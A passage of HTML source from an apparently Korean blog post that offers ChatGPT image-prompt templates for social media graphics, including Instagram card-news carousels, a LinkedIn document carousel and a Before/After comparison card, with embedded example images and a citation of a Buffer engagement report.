- 각 사분면 이름 [지금 써볼 것 / 지켜볼 것 / 과열 / 기반도구]
- 대표 레포 8~12개
- 우측에 해석 메모
- 하단 한 줄 결론

레이아웃:
- 중앙에 큰 quadrant chart
- 핵심 레포는 크게, 주변 레포는 작게
- 우측 좁은 컬럼에 해석 메모

디자인:
- dark navy background
- bold sans-serif
- 흰색 본문 + 주황 / 청록 포인트
- 데이터 저널리즘 포스터 느낌

주의:
- 근거 없는 점수 추정은 하지 말 것
- 사용자가 준 원본 데이터 범위 안에서만 배치할 것
- Source와 날짜를 반드시 표기할 것&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1491&quot; data-origin-height=&quot;1055&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mYTXw/dJMcafNdH6G/02ukIYFGQ2HDAusCLpSvj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mYTXw/dJMcafNdH6G/02ukIYFGQ2HDAusCLpSvj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mYTXw/dJMcafNdH6G/02ukIYFGQ2HDAusCLpSvj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmYTXw%2FdJMcafNdH6G%2F02ukIYFGQ2HDAusCLpSvj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1491&quot; height=&quot;1055&quot; data-origin-width=&quot;1491&quot; data-origin-height=&quot;1055&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctutaz/dJMcaarAynt/eHkiwmayLLfetnSwmWDKM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctutaz/dJMcaarAynt/eHkiwmayLLfetnSwmWDKM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctutaz/dJMcaarAynt/eHkiwmayLLfetnSwmWDKM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fctutaz%2FdJMcaarAynt%2FeHkiwmayLLfetnSwmWDKM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 세 가지를 쓸 때 공통 주의점도 있다. 날짜와 출처를 이미지 안에 반드시 넣고, 분류와 판단은 어디까지나 편집적 해석이라는 점을 드러내야 한다. 텍스트를 욕심내서 많이 넣기보다, 실명 레포 8~12개 정도 선에서 끊는 편이 결과가 더 안정적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-2. SNS 콘텐츠 카드 / 카드뉴스 (X / Threads / Instagram / LinkedIn)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;언제 쓰는가.&lt;/b&gt; X(트위터), Threads, Instagram, LinkedIn 같은 플랫폼에 공유할 이미지를 만들 때다. 여기서는 한 장짜리 카드뿐 아니라, 여러 장으로 넘기는 카드뉴스/캐러셀도 함께 본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 작성 핵심 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;플랫폼명을 명시한다(X, Threads, Instagram, LinkedIn)&lt;/li&gt;
&lt;li&gt;비율을 지정한다(1:1, 4:5, 16:9, 9:16)&lt;/li&gt;
&lt;li&gt;텍스트 오버레이의 위치와 크기를 정한다&lt;/li&gt;
&lt;li&gt;플랫폼 톤에 맞춘 디자인 스타일을 짚는다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;지금 많이 쓰는 포맷 &amp;mdash; 카드뉴스 / 캐러셀.&lt;/b&gt; 2026년 3월 Buffer가 공개한 5,200만+ 포스트 분석에 따르면 Instagram에서는 캐러셀이 단일 이미지나 릴스보다 참여율이 높았고, LinkedIn에서도 캐러셀이 가장 강한 포맷으로 집계됐다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://buffer.com/resources/state-of-social-media-engagement-2026/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Buffer 리포트&lt;/a&gt;). LinkedIn 공식 도움말도 문서 포스트를 지식 공유, 인사이트, 트렌드 정리에 적합한 포맷으로 안내한다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.linkedin.com/help/linkedin/answer/a518909/upload-and-share-documents-on-linkedin?lang=en&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LinkedIn Help&lt;/a&gt;).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다만 여기서 바로 오해가 생긴다.&lt;/b&gt; 카드뉴스는 ChatGPT 이미지 한 장으로 끝나는 포맷이 아니라, 여러 장의 템플릿을 일관되게 운영하는 포맷이다. ChatGPT는 커버, 비주얼 콘셉트, 짧은 문장 위주의 슬라이드에는 강하지만, 긴 문장을 많이 넣는 6~10장짜리 덱을 한 번에 정확하게 뽑는 데는 여전히 약하다. 그래서 &lt;b&gt;초안 생성은 ChatGPT, 최종 조립은 Canva/PPT/Figma&lt;/b&gt;로 나누는 편이 안정적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Instagram 카드뉴스용 프롬프트:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;인스타그램 4:5 카드뉴스 캐러셀용 시안을 만들어줘.

주제: [ChatGPT 이미지 프롬프트에서 자주 하는 실수 5가지]
목적: 저장해두고 다시 보는 교육형 카드뉴스
출력 방식: 먼저 1장 표지와 2장 본문 시안만 만들고, 내가 확인하면 같은 스타일로 다음 장을 이어서 만든다.

슬라이드 구성:
1장 - 강한 제목 훅 [ChatGPT 이미지, 이렇게 시키면 망한다]
2장 - 실수 1 [한 장에 너무 많은 요소 넣기]
3장 - 실수 2 [긴 문장 통째로 넣기]

디자인:
- 비율 4:5, 인스타그램 피드 최적화
- 핵심 정보는 중앙 3:4 안전 영역 안에 배치
- 배경은 아이보리, 텍스트는 검정, 포인트 컬러는 형광 오렌지
- 각 장마다 동일한 상단 라벨과 하단 페이지 번호
- 텍스트는 장당 한 문장 + 키워드 3개 이내
- 한국어, 굵은 산세리프, 에디토리얼 매거진 느낌

중요:
- 한 장에 텍스트를 많이 넣지 말 것
- 모든 장이 같은 템플릿 시스템을 유지할 것&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOba3u/dJMcaciC1ey/v4EUY0tNu9RZLBtTz2XJRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOba3u/dJMcaciC1ey/v4EUY0tNu9RZLBtTz2XJRk/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOba3u/dJMcaciC1ey/v4EUY0tNu9RZLBtTz2XJRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOba3u%2FdJMcaciC1ey%2Fv4EUY0tNu9RZLBtTz2XJRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CoefJ/dJMcacbQ18j/REQKPLWq1Skc3F9jImG5d1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CoefJ/dJMcacbQ18j/REQKPLWq1Skc3F9jImG5d1/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CoefJ/dJMcacbQ18j/REQKPLWq1Skc3F9jImG5d1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCoefJ%2FdJMcacbQ18j%2FREQKPLWq1Skc3F9jImG5d1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQmec0/dJMcajvf9Nk/igR6VRUxCvdr3Fth9kmKGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQmec0/dJMcajvf9Nk/igR6VRUxCvdr3Fth9kmKGk/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQmec0/dJMcajvf9Nk/igR6VRUxCvdr3Fth9kmKGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQmec0%2FdJMcajvf9Nk%2FigR6VRUxCvdr3Fth9kmKGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nF07H/dJMcacJIGuw/WLHg6bJzyN0q7QZkKgEgQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nF07H/dJMcacJIGuw/WLHg6bJzyN0q7QZkKgEgQ0/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nF07H/dJMcacJIGuw/WLHg6bJzyN0q7QZkKgEgQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnF07H%2FdJMcacJIGuw%2FWLHg6bJzyN0q7QZkKgEgQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mR3MJ/dJMcajhHUyJ/jb2TtaKek3SispHBadFWO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mR3MJ/dJMcajhHUyJ/jb2TtaKek3SispHBadFWO0/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mR3MJ/dJMcajhHUyJ/jb2TtaKek3SispHBadFWO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmR3MJ%2FdJMcajhHUyJ%2Fjb2TtaKek3SispHBadFWO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfXARv/dJMcadhwUCN/mV65kpZ2EjVIbbGzGWl7y1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfXARv/dJMcadhwUCN/mV65kpZ2EjVIbbGzGWl7y1/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfXARv/dJMcadhwUCN/mV65kpZ2EjVIbbGzGWl7y1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfXARv%2FdJMcadhwUCN%2FmV65kpZ2EjVIbbGzGWl7y1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b50Ok2/dJMcahRKvhI/2wKxaKuvxaXcQMkzwvCye0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b50Ok2/dJMcahRKvhI/2wKxaKuvxaXcQMkzwvCye0/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b50Ok2/dJMcahRKvhI/2wKxaKuvxaXcQMkzwvCye0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb50Ok2%2FdJMcahRKvhI%2F2wKxaKuvxaXcQMkzwvCye0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/V5HyZ/dJMcagyxb79/AzzF4lUJTtvBMC0kKGhsl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/V5HyZ/dJMcagyxb79/AzzF4lUJTtvBMC0kKGhsl1/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/V5HyZ/dJMcagyxb79/AzzF4lUJTtvBMC0kKGhsl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FV5HyZ%2FdJMcagyxb79%2FAzzF4lUJTtvBMC0kKGhsl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brKnt1/dJMb99MVXmx/lSa7n9VEQp06WoUrxqWiSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brKnt1/dJMb99MVXmx/lSa7n9VEQp06WoUrxqWiSk/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brKnt1/dJMb99MVXmx/lSa7n9VEQp06WoUrxqWiSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrKnt1%2FdJMb99MVXmx%2FlSa7n9VEQp06WoUrxqWiSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/G6Rju/dJMcagZBmqU/kUbJNEP7nqhw3LoLlnBJSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/G6Rju/dJMcagZBmqU/kUbJNEP7nqhw3LoLlnBJSk/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/G6Rju/dJMcagZBmqU/kUbJNEP7nqhw3LoLlnBJSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FG6Rju%2FdJMcagZBmqU%2FkUbJNEP7nqhw3LoLlnBJSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDf9am/dJMcaa6bWEe/SjlgA7LRGGbpGCLmDUzoPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDf9am/dJMcaa6bWEe/SjlgA7LRGGbpGCLmDUzoPk/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDf9am/dJMcaa6bWEe/SjlgA7LRGGbpGCLmDUzoPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDf9am%2FdJMcaa6bWEe%2FSjlgA7LRGGbpGCLmDUzoPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cemynr/dJMcafGqM8k/VE2RYVDnuHnkAGusUqSLtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cemynr/dJMcafGqM8k/VE2RYVDnuHnkAGusUqSLtk/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;1402&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cemynr/dJMcafGqM8k/VE2RYVDnuHnkAGusUqSLtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcemynr%2FdJMcafGqM8k%2FVE2RYVDnuHnkAGusUqSLtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;1402&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;LinkedIn 문서형 캐러셀 프롬프트:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;링크드인 문서형 캐러셀에 들어갈 표지와 핵심 슬라이드 시안을 만들어줘.

주제: [AI 이미지 프롬프트 품질을 높이는 5가지 규칙]
목적: 지식 공유용 LinkedIn document carousel
출력: 표지 1장 + 본문 3장 시안

슬라이드 구성:
1장 - 제목 [AI 이미지 프롬프트 5원칙]
2장 - 원칙 1, 2
3장 - 원칙 3, 4
4장 - 원칙 5 + 마무리 한 줄

디자인:
- 차분한 화이트 배경, 네이비 헤더, 포인트 컬러는 민트
- 텍스트는 짧은 bullet 위주
- 각 장 좌상단에 같은 섹션 라벨 유지
- 비즈니스 문서처럼 깔끔하고 과장 없는 톤
- 한국어, 가독성 최우선

중요:
- 최종 업로드는 PDF 문서형 캐러셀로 쓸 예정
- 긴 문단 대신 짧은 항목 중심으로 구성&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;전후 비교 proof 카드.&lt;/b&gt; 이 포맷은 프롬프트 차이를 가장 빨리 납득시키는 방식이다. &quot;왜 구조화된 프롬프트가 더 좋은가&quot;를 길게 설명하는 대신, 같은 주제를 Before와 After로 나눠 보여주면 된다. 여기서 핵심은 &lt;b&gt;같은 대상, 같은 구도, 같은 거리감&lt;/b&gt;을 유지하는 것이다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;구조화 전후를 보여주는 Before / After proof 카드를 만들어줘.

주제: [모호한 프롬프트 vs 구조화된 프롬프트]
형식: 4:5 비교 카드 1장

구성:
- 왼쪽은 Before
- 오른쪽은 After
- 같은 대상, 같은 앵글, 같은 거리감 유지
- 중앙에 얇은 구분선

Before 설명:
- 프롬프트가 모호해서 결과가 흐릿하고 산만한 상태
- 색감은 탁하고 정보 위계가 약함

After 설명:
- 목적, 레이아웃, 색상, 텍스트를 구체적으로 지정한 뒤 더 정돈된 상태
- 색 대비가 선명하고 핵심 요소가 또렷함

텍스트:
- 상단에 [Before / After] 라벨만 간단히
- 긴 설명 문장은 넣지 말 것

스타일:
- SNS 공유용
- 현실적인 차이가 분명히 보이게
- 과한 화살표나 장식 없이 에디토리얼 비교 보드 느낌&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9uAmR/dJMcaf7sVgL/mGJUlZhxtRdkVor7JWRvQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9uAmR/dJMcaf7sVgL/mGJUlZhxtRdkVor7JWRvQ0/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9uAmR/dJMcaf7sVgL/mGJUlZhxtRdkVor7JWRvQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9uAmR%2FdJMcaf7sVgL%2FmGJUlZhxtRdkVor7JWRvQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/luYxD/dJMcadBKuCx/1aErTaK64em0JpXpoJQMR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/luYxD/dJMcadBKuCx/1aErTaK64em0JpXpoJQMR0/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/luYxD/dJMcadBKuCx/1aErTaK64em0JpXpoJQMR0/img.png&quot; 